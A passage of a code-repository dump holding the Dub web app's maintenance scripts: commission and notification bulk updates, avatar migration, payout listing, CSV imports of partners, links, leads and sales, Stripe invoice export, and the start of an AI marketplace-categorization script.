    "path": "apps/web/scripts/perplexity/update-commissions.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport \"dotenv-flow/config\";\n\n// update commissions for a program\nasync function main() {\n  const where: Prisma.CommissionWhereInput = {\n    programId: \"prog_xxx\",\n    partnerId: \"pn_xxx\",\n    status: \"processed\",\n  };\n\n  const remainingCommissions = await prisma.commission.findMany({\n    where,\n  });\n  console.log(`${remainingCommissions.length} commissions to update`);\n\n  const updatedRes = await prisma.commission.updateMany({\n    where: {\n      id: {\n        in: remainingCommissions.map((c) => c.id),\n      },\n    },\n    data: {\n      earnings: 0,\n    },\n  });\n  console.log(`${updatedRes.count} commissions updated`);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/perplexity/update-notifications.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\n// bulk update notification preferences for a project\nasync function main() {\n  const notificationPreferences = await prisma.notificationPreference.findMany({\n    where: {\n      AND: [\n        {\n          projectUser: {\n            projectId: \"xxx\",\n          },\n        },\n        {\n          projectUser: {\n            user: {\n              email: {\n                notIn: [\"hello@example.com\"],\n              },\n            },\n          },\n        },\n      ],\n    },\n  });\n\n  console.log(\n    `Found ${notificationPreferences.length} notification preferences to update`,\n  );\n\n  const res = await prisma.notificationPreference.updateMany({\n    where: {\n      id: {\n        in: notificationPreferences.map(\n          (notificationPreference) => notificationPreference.id,\n        ),\n      },\n    },\n    data: {\n      newPartnerApplication: false,\n      newPartnerSale: false,\n      newMessageFromPartner: false,\n    },\n  });\n\n  console.log(`Updated ${res.count} notification preferences`);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/persist-customer-avatars.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport { nanoid } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\nimport { storage } from \"../lib/storage\";\n\nconst R2_URL = \"https://dubassets.com\";\n\nasync function main() {\n  const where: Prisma.CustomerWhereInput = {\n    avatar: {\n      startsWith: \"https://lh3.googleusercontent.com\",\n    },\n  };\n\n  const customers = await prisma.customer.findMany({\n    where,\n    orderBy: {\n      createdAt: \"desc\",\n    },\n    take: 20,\n  });\n\n  await Promise.all(\n    customers.map(async (customer) => {\n      if (!customer.avatar) {\n        return;\n      }\n      const finalCustomerAvatar = `${R2_URL}/customers/${customer.id}/avatar_${nanoid(7)}`;\n\n      try {\n        await storage.upload({\n          key: finalCustomerAvatar.replace(`${R2_URL}/`, \"\"),\n          body: customer.avatar,\n          opts: {\n            width: 128,\n            height: 128,\n          },\n        });\n\n        const updatedCustomer = await prisma.customer.update({\n          where: { id: customer.id },\n          data: {\n            avatar: finalCustomerAvatar,\n          },\n        });\n\n        console.log(\n          `Updated customer ${customer.id} to ${updatedCustomer.avatar}`,\n        );\n      } catch (error) {\n        console.log(\n          `Error updating customer ${customer.id} with avatar ${customer.avatar}`,\n        );\n        console.error(error);\n      }\n    }),\n  );\n\n  const remainingCustomers = await prisma.customer.count({\n    where,\n  });\n\n  console.log(`Remaining customers: ${remainingCustomers}`);\n}\nmain();\n"
  },
  {
    "path": "apps/web/scripts/processed-payouts.ts",
    "content": "import { MIN_FORCE_WITHDRAWAL_AMOUNT_CENTS } from \"@/lib/constants/payouts\";\nimport { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport { currencyFormatter } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const where: Prisma.PayoutWhereInput = {\n    status: \"processed\",\n    amount: {\n      gte: MIN_FORCE_WITHDRAWAL_AMOUNT_CENTS,\n    },\n    partner: {\n      payoutsEnabledAt: {\n        not: null,\n      },\n    },\n  };\n\n  const totals = await prisma.payout.aggregate({\n    where,\n    _count: {\n      id: true,\n    },\n    _sum: {\n      amount: true,\n    },\n  });\n\n  console.log({\n    totalProcessedPayouts: totals._count.id,\n    totalProcessedPayoutsAmount: currencyFormatter(totals._sum?.amount ?? 0),\n  });\n\n  const processedPayouts = await prisma.payout.findMany({\n    where,\n    include: {\n      partner: {\n        select: {\n          email: true,\n        },\n      },\n    },\n    take: 100,\n    orderBy: {\n      paidAt: \"asc\",\n    },\n  });\n\n  console.table(\n    processedPayouts.map((payout) => ({\n      id: payout.id,\n      partner: payout.partner.email,\n      amount: currencyFormatter(payout.amount),\n      paidAt: payout.paidAt,\n    })),\n  );\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/programs/1-import-partners.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport * as fs from \"fs\";\nimport * as Papa from \"papaparse\";\nimport { createAndEnrollPartner } from \"../../lib/api/partners/create-and-enroll-partner\";\n\nconst programId = \"prog_xxx\";\nconst userId = \"user_xxx\";\nconst groupId = \"grp_xxx\";\ntype PartnerData = {\n  name: string;\n  email: string;\n  username: string;\n  tenantId: string;\n  enrolledAt: Date;\n};\nconst partnersToImport: PartnerData[] = [];\n\n// script to import partners into a program via CSV file\n// NOTE: Remove \"server-only\" and Axiom logging from handleApiError before running this script\nasync function main() {\n  Papa.parse(fs.createReadStream(\"partners.csv\", \"utf-8\"), {\n    header: true,\n    skipEmptyLines: true,\n    transformHeader: (header: string) =>\n      header.trim().replace(/^[\"']|[\"']$/g, \"\"),\n    step: (result: { data: PartnerData }) => {\n      partnersToImport.push(result.data);\n    },\n    complete: async () => {\n      console.log(`Found ${partnersToImport.length} partners to import`);\n\n      const program = await prisma.program.findUniqueOrThrow({\n        where: {\n          id: programId,\n        },\n        include: {\n          workspace: true,\n          partners: {\n            include: {\n              partner: true,\n            },\n          },\n        },\n      });\n\n      const finalPartnersToImport = partnersToImport.filter(\n        (partner) =>\n          !program.partners.some((p) => p.partner.email === partner.email),\n      );\n      console.log(\n        `Found ${finalPartnersToImport.length} final partners to import`,\n      );\n\n      for (const partner of finalPartnersToImport) {\n        const enrolledPartner = await createAndEnrollPartner({\n          workspace: {\n            id: program.workspace.id,\n            plan: program.workspace.plan as \"advanced\",\n            webhookEnabled: program.workspace.webhookEnabled,\n          },\n          program,\n          partner: {\n            name: partner.name,\n            email: partner.email,\n            username: partner.username,\n            tenantId: partner.tenantId,\n            groupId,\n          },\n          enrolledAt: partner.enrolledAt,\n          userId,\n        });\n\n        console.log(\n          `Created and enrolled partner ${enrolledPartner.email} with link ${enrolledPartner?.links?.[0]?.shortLink}`,\n        );\n      }\n    },\n  });\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/programs/2-import-partner-links.ts",
    "content": "import { ProcessedLinkProps } from \"@/lib/types\";\nimport { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport * as fs from \"fs\";\nimport * as Papa from \"papaparse\";\nimport { bulkCreateLinks } from \"../../lib/api/links\";\n\nconst programId = \"prog_xxx\";\nconst userId = \"user_xxx\";\ntype PartnerLinkData = {\n  email: string;\n  username: string;\n};\nconst partnerLinksToImport: PartnerLinkData[] = [];\n\n// script to import any additional partner links into a program via CSV file (run after 1-import-partners.ts)\nasync function main() {\n  Papa.parse(fs.createReadStream(\"partner_links.csv\", \"utf-8\"), {\n    header: true,\n    skipEmptyLines: true,\n    transformHeader: (header: string) =>\n      header.trim().replace(/^[\"']|[\"']$/g, \"\"),\n    step: (result: { data: PartnerLinkData }) => {\n      partnerLinksToImport.push(result.data);\n    },\n    complete: async () => {\n      console.log(\n        `Found ${partnerLinksToImport.length} partner links to import`,\n      );\n\n      const program = await prisma.program.findUniqueOrThrow({\n        where: {\n          id: programId,\n        },\n        include: {\n          workspace: true,\n          partners: {\n            where: {\n              partner: {\n                email: {\n                  in: partnerLinksToImport.map((link) => link.email),\n                },\n              },\n            },\n            select: {\n              partner: true,\n              tenantId: true,\n            },\n          },\n        },\n      });\n      const partnerMap = new Map(\n        program.partners.map(({ partner, tenantId }) => [\n          partner.email,\n          {\n            id: partner.id,\n            tenantId,\n          },\n        ]),\n      );\n\n      const finalPartnerLinksToImport = partnerLinksToImport\n        .map((link) => {\n          const partner = partnerMap.get(link.email);\n          if (!partner) {\n            return null;\n          }\n          return {\n            domain: program.domain!,\n            key: link.username,\n            url: program.url!,\n            trackConversion: true,\n            programId,\n            partnerId: partner.id,\n            folderId: program.defaultFolderId,\n            userId,\n            projectId: program.workspaceId,\n            tenantId: partner.tenantId,\n          };\n        })\n        .filter(\n          (p): p is NonNullable<typeof p> => p !== null,\n        ) satisfies ProcessedLinkProps[];\n\n      await bulkCreateLinks({\n        links: finalPartnerLinksToImport,\n        skipRedisCache: true,\n      });\n      console.log(`imported ${finalPartnerLinksToImport.length} partner links`);\n    },\n  });\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/programs/3-import-customer-leads.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { generateRandomName } from \"@/lib/names\";\nimport { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport { chunk, nanoid, prettyPrint } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\nimport * as fs from \"fs\";\nimport * as Papa from \"papaparse\";\nimport { syncPartnerLinksStats } from \"../../lib/api/partners/sync-partner-links-stats\";\nimport { recordLeadWithTimestamp } from \"../../lib/tinybird/record-lead\";\n\nconst programId = \"prog_xxx\";\ntype CustomerData = {\n  customerExternalId: string;\n  partnerLinkKey: string;\n  stripeCustomerId?: string;\n  timestamp: string;\n};\nconst leadsToBackfill: CustomerData[] = [];\n\n// script to backfill customers + leads\n// we also use a batching logic for tinybird events ingestion\nasync function main() {\n  Papa.parse(fs.createReadStream(\"customers.csv\", \"utf-8\"), {\n    header: true,\n    skipEmptyLines: true,\n    transformHeader: (header: string) =>\n      header.trim().replace(/^[\"']|[\"']$/g, \"\"),\n    step: (result: { data: CustomerData }) => {\n      const stripeCustomerId =\n        !result.data.stripeCustomerId || result.data.stripeCustomerId === \"null\"\n          ? undefined\n          : result.data.stripeCustomerId;\n      const customerExternalId =\n        !result.data.customerExternalId ||\n        result.data.customerExternalId === \"null\"\n          ? stripeCustomerId\n          : result.data.customerExternalId;\n\n      if (!customerExternalId) {\n        return;\n      }\n\n      leadsToBackfill.push({\n        ...result.data,\n        customerExternalId: customerExternalId!,\n        stripeCustomerId: stripeCustomerId,\n      });\n    },\n    complete: async () => {\n      console.table(leadsToBackfill);\n      const program = await prisma.program.findUniqueOrThrow({\n        where: {\n          id: programId,\n        },\n        include: {\n          workspace: true,\n        },\n      });\n      const { workspace } = program;\n\n      const partnerLinks = await prisma.link.findMany({\n        where: {\n          domain: program.domain!,\n          key: {\n            in: leadsToBackfill.map((lead) => lead.partnerLinkKey),\n          },\n        },\n      });\n\n      const existingCustomers = await prisma.customer.findMany({\n        where: {\n          OR: [\n            {\n              projectId: workspace.id,\n              externalId: {\n                in: leadsToBackfill.map((lead) => lead.customerExternalId),\n              },\n            },\n            {\n              stripeCustomerId: {\n                in: leadsToBackfill\n                  .map((lead) => lead.stripeCustomerId)\n                  .filter((id): id is string => id !== undefined),\n              },\n            },\n          ],\n        },\n      });\n\n      // filter out leads that are not associated with a partner link\n      const finalLeadsToBackfill = leadsToBackfill\n        .filter((lead) =>\n          partnerLinks.some(\n            (link) =>\n              link.key.toLowerCase() === lead.partnerLinkKey.toLowerCase(),\n          ),\n        )\n        .filter(\n          (lead) =>\n            !existingCustomers.some(\n              (customer) =>\n                customer.externalId === lead.customerExternalId ||\n                customer.stripeCustomerId === lead.stripeCustomerId,\n            ),\n        );\n\n      console.log(`Found ${finalLeadsToBackfill.length} leads to backfill`);\n      console.table(finalLeadsToBackfill.slice(0, 10));\n\n      const clicksToCreate = finalLeadsToBackfill\n        .map((lead) => {\n          const link = partnerLinks.find(\n            (link) =>\n              link.key.toLowerCase() === lead.partnerLinkKey.toLowerCase(),\n          )!; // coerce here cause we already filtered out leads that are not associated with a partner link above\n\n          const clickId = nanoid(16);\n\n          return {\n            timestamp: new Date(lead.timestamp).toISOString(),\n            identity_hash: lead.customerExternalId,\n            click_id: clickId,\n            workspace_id: workspace.id,\n            link_id: link.id,\n            domain: link.domain,\n            key: link.key,\n            url: link.url,\n            ip: \"\",\n            continent: \"NA\",\n            country: \"US\",\n            region: \"Unknown\",\n            city: \"Unknown\",\n            latitude: \"Unknown\",\n            longitude: \"Unknown\",\n            vercel_region: \"\",\n            device: \"Desktop\",\n            device_vendor: \"Unknown\",\n            device_model: \"Unknown\",\n            browser: \"Unknown\",\n            browser_version: \"Unknown\",\n            engine: \"Unknown\",\n            engine_version: \"Unknown\",\n            os: \"Unknown\",\n            os_version: \"Unknown\",\n            cpu_architecture: \"Unknown\",\n            ua: \"Unknown\",\n            bot: 0,\n            qr: 0,\n            referer: \"(direct)\",\n            referer_url: \"(direct)\",\n            trigger: \"link\",\n          };\n        })\n        .filter((p): p is NonNullable<typeof p> => p !== null);\n\n      // clickhouse only supports max 12 partitions (months) for a given event backfill\n      // so we need to transform this into a list of lists, one for each year\n      const clicksToCreateTB = clicksToCreate.reduce(\n        (acc, curr) => {\n          const year = new Date(curr.timestamp).getFullYear();\n          if (!acc[year]) {\n            acc[year] = [];\n          }\n          acc[year].push(curr);\n          return acc;\n        },\n        {} as Record<number, any[]>,\n      );\n\n      // Record clicks\n      Object.entries(clicksToCreateTB).forEach(async ([year, clicks]) => {\n        const clicksBatch = clicks as typeof clicksToCreate;\n        console.log(`backfilling ${clicksBatch.length} clicks for ${year}`);\n        const clickRes = await fetch(\n          `${process.env.TINYBIRD_API_URL}/v0/events?name=dub_click_events&wait=true`,\n          {\n            method: \"POST\",\n            headers: {\n              Authorization: `Bearer ${process.env.TINYBIRD_API_KEY}`,\n              \"Content-Type\": \"application/x-ndjson\",\n            },\n            body: (clicksBatch as typeof clicksToCreate)\n              .map((d) => JSON.stringify(d))\n              .join(\"\\n\"),\n          },\n        ).then((res) => res.json());\n        console.log(\"backfilled clicks\", JSON.stringify(clickRes, null, 2));\n      });\n\n      const customersToCreate = finalLeadsToBackfill\n        .map((lead, idx) => {\n          const clickData = clicksToCreate[idx];\n          if (!clickData) {\n            return null;\n          }\n          const link = partnerLinks.find(\n            (link) =>\n              link.key.toLowerCase() === lead.partnerLinkKey.toLowerCase(),\n          )!;\n          return {\n            id: createId({ prefix: \"cus_\" }),\n            name: generateRandomName(),\n            externalId: lead.customerExternalId,\n            projectId: workspace.id,\n            projectConnectId: workspace.stripeConnectId,\n            stripeCustomerId: lead.stripeCustomerId,\n            linkId: link.id,\n            programId: link.programId,\n            partnerId: link.partnerId,\n            country: clickData.country,\n            clickId: clickData.click_id,\n            clickedAt: new Date(lead.timestamp).toISOString(),\n            createdAt: new Date(lead.timestamp).toISOString(),\n          };\n        })\n        .filter(\n          (p): p is NonNullable<typeof p> => p !== null,\n        ) satisfies Prisma.CustomerCreateManyInput[];\n\n      console.table(customersToCreate.slice(0, 10));\n\n      const customerRes = await prisma.customer.createMany({\n        data: customersToCreate,\n        skipDuplicates: true,\n      });\n      console.log(\"backfilled customers\", prettyPrint(customerRes));\n\n      const leadsToCreate = clicksToCreate.map((clickData, idx) => ({\n        ...clickData,\n        event_id: nanoid(16),\n        event_name: \"Sign up\",\n        customer_id: customersToCreate[idx]!.id,\n      }));\n\n      // same batching logic as above\n      const leadsToCreateTB = leadsToCreate.reduce(\n        (acc, curr) => {\n          const year = new Date(curr.timestamp).getFullYear();\n          if (!acc[year]) {\n            acc[year] = [];\n          }\n          acc[year].push(curr);\n          return acc;\n        },\n        {} as Record<number, any[]>,\n      );\n\n      Object.entries(leadsToCreateTB).forEach(async ([year, leads]) => {\n        const leadsBatch = leads as typeof leadsToCreate;\n        console.log(`backfilling ${leadsBatch.length} leads for ${year}`);\n        const leadRes = await recordLeadWithTimestamp(leadsBatch);\n        console.log(\"backfilled leads\", prettyPrint(leadRes));\n      });\n\n      const statsByLink = finalLeadsToBackfill\n        .filter((lead) =>\n          partnerLinks.some(\n            (link) =>\n              link.key.toLowerCase() === lead.partnerLinkKey.toLowerCase(),\n          ),\n        )\n        .reduce(\n          (acc, lead) => {\n            const link = partnerLinks.find(\n              (link) =>\n                link.key.toLowerCase() === lead.partnerLinkKey.toLowerCase(),\n            )!;\n            const leadCreatedAt = new Date(lead.timestamp);\n            acc[link.id] = {\n              clicks: (acc[link.id]?.clicks || 0) + 1,\n              leads: (acc[link.id]?.leads || 0) + 1,\n              // if there is no lastLeadAt, or the leadCreatedAt is greater than the lastLeadAt, set the lastLeadAt to the leadCreatedAt\n              lastLeadAt:\n                leadCreatedAt > (acc[link.id]?.lastLeadAt ?? new Date(0))\n                  ? leadCreatedAt\n                  : acc[link.id]?.lastLeadAt,\n            };\n            return acc;\n          },\n          {} as Record<\n            string,\n            {\n              clicks: number;\n              leads: number;\n              lastLeadAt: Date | undefined;\n            }\n          >,\n        );\n\n      console.log(prettyPrint(Object.entries(statsByLink).slice(0, 10)));\n\n      const statsByLinkChunks = chunk(Object.entries(statsByLink), 50);\n      for (let i = 0; i < statsByLinkChunks.length; i++) {\n        const chunk = statsByLinkChunks[i];\n        console.log(\n          `backfilling stats for ${chunk.length} links in batch ${i + 1} of ${statsByLinkChunks.length}`,\n        );\n        await Promise.all(\n          chunk.map(async ([linkId, stats]) => {\n            const res = await prisma.link.update({\n              where: { id: linkId },\n              data: {\n                clicks: {\n                  increment: stats.clicks,\n                },\n                leads: {\n                  increment: stats.leads,\n                },\n                lastLeadAt: stats.lastLeadAt,\n              },\n            });\n            console.log(\n              `Updated ${linkId} to ${res.clicks} clicks (+${stats.clicks} clicks), ${res.leads} leads (+${stats.leads} leads)`,\n            );\n            const syncRes = await syncPartnerLinksStats({\n              partnerId: res.partnerId!,\n              programId: program.id,\n              eventType: \"lead\",\n            });\n            console.log(\"synced stats\", prettyPrint(syncRes));\n          }),\n        );\n      }\n    },\n  });\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/programs/4-export-stripe-invoices.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport * as fs from \"fs\";\nimport * as Papa from \"papaparse\";\nimport { stripeAppClient } from \"../../lib/stripe\";\n\nconst programId = \"prog_xxx\";\ntype CustomerData = {\n  customerExternalId: string;\n  partnerLinkKey: string;\n  stripeCustomerId?: string;\n  timestamp: string;\n};\nconst customersToImport: CustomerData[] = [];\n\n// script to export stripe invoices based on the customer's stripeCustomerId\nasync function main() {\n  Papa.parse(fs.createReadStream(\"customers.csv\", \"utf-8\"), {\n    header: true,\n    skipEmptyLines: true,\n    transformHeader: (header: string) =>\n      header.trim().replace(/^[\"']|[\"']$/g, \"\"),\n    step: (result: { data: CustomerData }) => {\n      const stripeCustomerId =\n        !result.data.stripeCustomerId || result.data.stripeCustomerId === \"null\"\n          ? undefined\n          : result.data.stripeCustomerId;\n      const customerExternalId =\n        !result.data.customerExternalId ||\n        result.data.customerExternalId === \"null\"\n          ? stripeCustomerId\n          : result.data.customerExternalId;\n\n      if (stripeCustomerId && customerExternalId) {\n        customersToImport.push({\n          ...result.data,\n          stripeCustomerId,\n          customerExternalId,\n        });\n      }\n    },\n    complete: async () => {\n      console.log(`Found ${customersToImport.length} paying customers`);\n      const program = await prisma.program.findUniqueOrThrow({\n        where: {\n          id: programId,\n        },\n        include: {\n          workspace: true,\n        },\n      });\n\n      console.log(`Found ${customersToImport.length} paying customers`);\n\n      for (const customer of customersToImport) {\n        const invoices = await stripeAppClient({\n          mode: \"live\",\n        }).invoices.list(\n          {\n            customer: customer.stripeCustomerId,\n            status: \"paid\",\n          },\n          {\n            stripeAccount: program.workspace.stripeConnectId!,\n          },\n        );\n\n        const invoicesToBackfill = invoices.data.map((invoice) => ({\n          customerExternalId: customer.customerExternalId,\n          invoiceId: invoice.id,\n          amountPaid: invoice.amount_paid,\n          createdAt: new Date(invoice.created * 1000).toISOString(),\n        }));\n\n        if (invoicesToBackfill.length > 0) {\n          console.table(invoicesToBackfill, [\n            \"customerExternalId\",\n            \"invoiceId\",\n            \"amountPaid\",\n            \"createdAt\",\n          ]);\n\n          const filePath = \"customer_stripe_invoices.csv\";\n          const fileExists = fs.existsSync(filePath);\n\n          fs.appendFileSync(\n            filePath,\n            Papa.unparse(invoicesToBackfill, { header: !fileExists }) + \"\\n\",\n          );\n        }\n      }\n    },\n  });\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/programs/5-import-customer-sales.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { calculateSaleEarnings } from \"@/lib/api/sales/calculate-sale-earnings\";\nimport { RewardProps } from \"@/lib/types\";\nimport { saleEventSchemaTB } from \"@/lib/zod/schemas/sales\";\nimport { prisma } from \"@dub/prisma\";\nimport { chunk, nanoid, prettyPrint } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\nimport * as fs from \"fs\";\nimport * as Papa from \"papaparse\";\nimport * as z from \"zod/v4\";\nimport { syncTotalCommissions } from \"../../lib/api/partners/sync-total-commissions\";\nimport { recordSaleWithTimestamp } from \"../../lib/tinybird\";\n\nconst programId = \"prog_xxx\";\nconst groupId = \"grp_xxx\";\n\ntype InvoiceData = {\n  customerExternalId: string;\n  invoiceId: string;\n  amountPaid: string;\n  createdAt: string;\n};\nconst invoicesToProcess: InvoiceData[] = [];\n\n// script to import customer sales (similar to 3-import-customer-leads.ts)\nasync function main() {\n  Papa.parse(fs.createReadStream(\"customer_stripe_invoices.csv\", \"utf-8\"), {\n    header: true,\n    skipEmptyLines: true,\n    step: (result: { data: InvoiceData }) => {\n      invoicesToProcess.push(result.data);\n    },\n    complete: async () => {\n      const program = await prisma.program.findUniqueOrThrow({\n        where: {\n          id: programId,\n        },\n        include: {\n          workspace: true,\n          rewards: {\n            where: {\n              salePartnerGroup: {\n                id: groupId,\n              },\n            },\n          },\n        },\n      });\n\n      const reward = program.rewards[0];\n      if (!reward) {\n        throw new Error(\"No sale reward found for group \" + groupId);\n      }\n\n      const customers = await prisma.customer.findMany({\n        where: {\n          projectId: program.workspace.id,\n          externalId: {\n            in: invoicesToProcess.map((invoice) => invoice.customerExternalId),\n          },\n        },\n        include: {\n          link: true,\n        },\n      });\n\n      const existingCommissions = await prisma.commission.findMany({\n        where: {\n          programId,\n          invoiceId: {\n            in: invoicesToProcess.map((invoice) => invoice.invoiceId),\n          },\n        },\n      });\n\n      const salesMetadata = invoicesToProcess\n        .map((invoice) => {\n          // don't process invoices with amount 0\n          if (invoice.amountPaid === \"0\") {\n            return null;\n          }\n          const customer = customers.find(\n            (customer) => customer.externalId === invoice.customerExternalId,\n          );\n          if (!customer) {\n            return null;\n          }\n          if (!customer.link) {\n            console.log(\"Customer link not found:\", invoice);\n            return null;\n          }\n          if (\n            existingCommissions.find(\n              (commission) => commission.invoiceId === invoice.invoiceId,\n            )\n          ) {\n            console.log(\"Commission already exists:\", invoice.invoiceId);\n            return null;\n          }\n          return {\n            // extra data for commission creation\n            partnerId: customer.link.partnerId,\n            // sale data\n            timestamp: new Date(invoice.createdAt).toISOString(),\n            customer_id: customer.id,\n            event_id: nanoid(16),\n            event_name: \"Invoice paid\",\n            payment_processor: \"stripe\",\n            invoice_id: invoice.invoiceId,\n            amount: parseInt(invoice.amountPaid),\n            currency: \"usd\",\n            metadata: \"\",\n            // click data\n            identity_hash: customer.externalId,\n            click_id: customer.clickId,\n            link_id: customer.link.id,\n            url: customer.link.url,\n            ip: \"\",\n            continent: \"NA\",\n            country: \"US\",\n            region: \"Unknown\",\n            city: \"Unknown\",\n            latitude: \"Unknown\",\n            longitude: \"Unknown\",\n            vercel_region: \"\",\n            device: \"Desktop\",\n            device_vendor: \"Unknown\",\n            device_model: \"Unknown\",\n            browser: \"Unknown\",\n            browser_version: \"Unknown\",\n            engine: \"Unknown\",\n            engine_version: \"Unknown\",\n            os: \"Unknown\",\n            os_version: \"Unknown\",\n            cpu_architecture: \"Unknown\",\n            ua: \"Unknown\",\n            bot: 0,\n            qr: 0,\n            referer: \"(direct)\",\n            referer_url: \"(direct)\",\n            trigger: \"link\",\n          };\n        })\n        .filter((p): p is NonNullable<typeof p> => p !== null);\n\n      const salesMetadataParsed = salesMetadata.map((e) =>\n        saleEventSchemaTB\n          .extend({\n            timestamp: z.string(),\n          })\n          .parse(e),\n      );\n\n      console.table(salesMetadataParsed.slice(0, 10));\n      console.log(salesMetadataParsed.length);\n\n      const tbRes = await recordSaleWithTimestamp(salesMetadataParsed);\n      console.log(tbRes);\n\n      const commissionsToCreate = salesMetadata.map((e) => ({\n        id: createId({ prefix: \"cm_\" }),\n        programId,\n        partnerId: e.partnerId!,\n        rewardId: reward.id,\n        customerId: e.customer_id,\n        linkId: e.link_id,\n        eventId: e.event_id,\n        invoiceId: e.invoice_id,\n        quantity: 1,\n        amount: e.amount,\n        type: \"sale\" as const,\n        currency: \"usd\",\n        earnings: calculateSaleEarnings({\n          reward: reward as RewardProps,\n          sale: {\n            quantity: 1,\n            amount: e.amount,\n          },\n        }),\n        // // mark all commission until nov 30 as paid\n        // status: (new Date(e.timestamp) < new Date(\"2025-12-01\")\n        //   ? \"paid\"\n        //   : \"pending\") as CommissionStatus,\n        createdAt: new Date(e.timestamp),\n      }));\n\n      console.table(commissionsToCreate.slice(0, 10));\n      const prismaRes = await prisma.commission.createMany({\n        data: commissionsToCreate,\n        skipDuplicates: true,\n      });\n      console.log(prismaRes);\n\n      const statsByLink = salesMetadataParsed.reduce(\n        (acc, sale) => {\n          acc[sale.link_id] = {\n            sales: (acc[sale.link_id]?.sales || 0) + 1,\n            saleAmount: (acc[sale.link_id]?.saleAmount || 0) + sale.amount,\n            customerIds: new Set([\n              ...(acc[sale.link_id]?.customerIds || []),\n              sale.customer_id,\n            ]),\n          };\n          return acc;\n        },\n        {} as Record<\n          string,\n          {\n            sales: number;\n            saleAmount: number;\n            customerIds: Set<string>;\n          }\n        >,\n      );\n\n      console.log(prettyPrint(Object.entries(statsByLink).slice(0, 10)));\n\n      const statsByLinkChunks = chunk(Object.entries(statsByLink), 50);\n      for (let i = 0; i < statsByLinkChunks.length; i++) {\n        const chunk = statsByLinkChunks[i];\n        console.log(\n          `backfilling stats for ${chunk.length} links in batch ${i + 1} of ${statsByLinkChunks.length}`,\n        );\n        await Promise.all(\n          chunk.map(async ([linkId, stats]) => {\n            const res = await prisma.link.update({\n              where: { id: linkId },\n              data: {\n                sales: {\n                  increment: stats.sales,\n                },\n                saleAmount: {\n                  increment: stats.saleAmount,\n                },\n                conversions: stats.customerIds.size,\n              },\n            });\n            console.log(\n              `Updated ${linkId} to ${res.sales} sales (+${stats.sales} sales), ${res.saleAmount} saleAmount (+${stats.saleAmount} saleAmount), ${res.conversions} conversions (+${stats.customerIds.size} conversions)`,\n            );\n            const syncRes = await syncTotalCommissions({\n              partnerId: res.partnerId!,\n              programId: program.id,\n            });\n            console.log(\"synced total commissions\", prettyPrint(syncRes));\n          }),\n        );\n      }\n\n      const statsByCustomer = salesMetadataParsed.reduce(\n        (acc, sale) => {\n          acc[sale.customer_id] = {\n            sales: (acc[sale.customer_id]?.sales || 0) + 1,\n            saleAmount: (acc[sale.customer_id]?.saleAmount || 0) + sale.amount,\n          };\n          return acc;\n        },\n        {} as Record<\n          string,\n          {\n            sales: number;\n            saleAmount: number;\n          }\n        >,\n      );\n      console.log(prettyPrint(Object.entries(statsByCustomer).slice(0, 10)));\n\n      const statsByCustomerChunks = chunk(Object.entries(statsByCustomer), 50);\n      for (let i = 0; i < statsByCustomerChunks.length; i++) {\n        const chunk = statsByCustomerChunks[i];\n        console.log(\n          `backfilling stats for ${chunk.length} customers in batch ${i + 1} of ${statsByCustomerChunks.length}`,\n        );\n        await Promise.all(\n          chunk.map(async ([customerId, stats]) => {\n            const res = await prisma.customer.update({\n              where: { id: customerId },\n              data: {\n                sales: { increment: stats.sales },\n                saleAmount: { increment: stats.saleAmount },\n              },\n            });\n            console.log(\n              `Updated ${customerId} to ${res.sales} sales (+${stats.sales} sales), ${res.saleAmount} saleAmount (+${stats.saleAmount} saleAmount)`,\n            );\n          }),\n        );\n      }\n    },\n  });\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/programs/add-to-marketplace.ts",
    "content": "import { anthropic } from \"@ai-sdk/anthropic\";\nimport { prisma } from \"@dub/prisma\";\nimport { Category } from \"@dub/prisma/client\";\nimport FireCrawlApp from \"@mendable/firecrawl-js\";\nimport { generateObject } from \"ai\";\nimport \"dotenv-flow/config\";\nimport * as z from \"zod/v4\";\n\nconst CategoryEnum = z.enum(Category);\n\n// AI response schema\nconst categorizationSchema = z.object({\n  categories: z.array(CategoryEnum).min(1).max(3),\n  reasoning: z.string(),\n});\n\nif (!process.env.FIRECRAWL_API_KEY)\n  throw new Error(\"FIRECRAWL_API_KEY is not set\");\n\n// Initialize FireCrawl\nconst firecrawl = new FireCrawlApp({\n  apiKey: process.env.FIRECRAWL_API_KEY,\n});\n\n// Function to scrape website content\nasync function scrapeWebsite(url: string) {\n  try {\n    const scrapeResult = await firecrawl.scrapeUrl(url, {\n      formats: [\"markdown\"],\n      onlyMainContent: true,\n      parsePDF: false,\n      maxAge: 14400000, // 4 hours cache\n      excludeTags: [\"img\"],\n    });\n\n    if (!scrapeResult.success) {\n      throw new Error(scrapeResult.error || \"Failed to scrape\");\n    }\n\n    return {\n      content: scrapeResult.markdown || \"\",\n      title: scrapeResult.metadata?.title || \"\",\n      description: scrapeResult.metadata?.description || \"\",\n    };\n  } catch (error) {\n    console.error(`Error scraping ${url}:`, error);\n    return null;\n  }\n}\n\n// Function to categorize content using AI\nasync function categorizeProgram(\n  programName: string,\n  url: string,\n  content: string,\n  title: string,\n  description: string,\n) {\n  try {\n    const prompt = `Analyze this website and 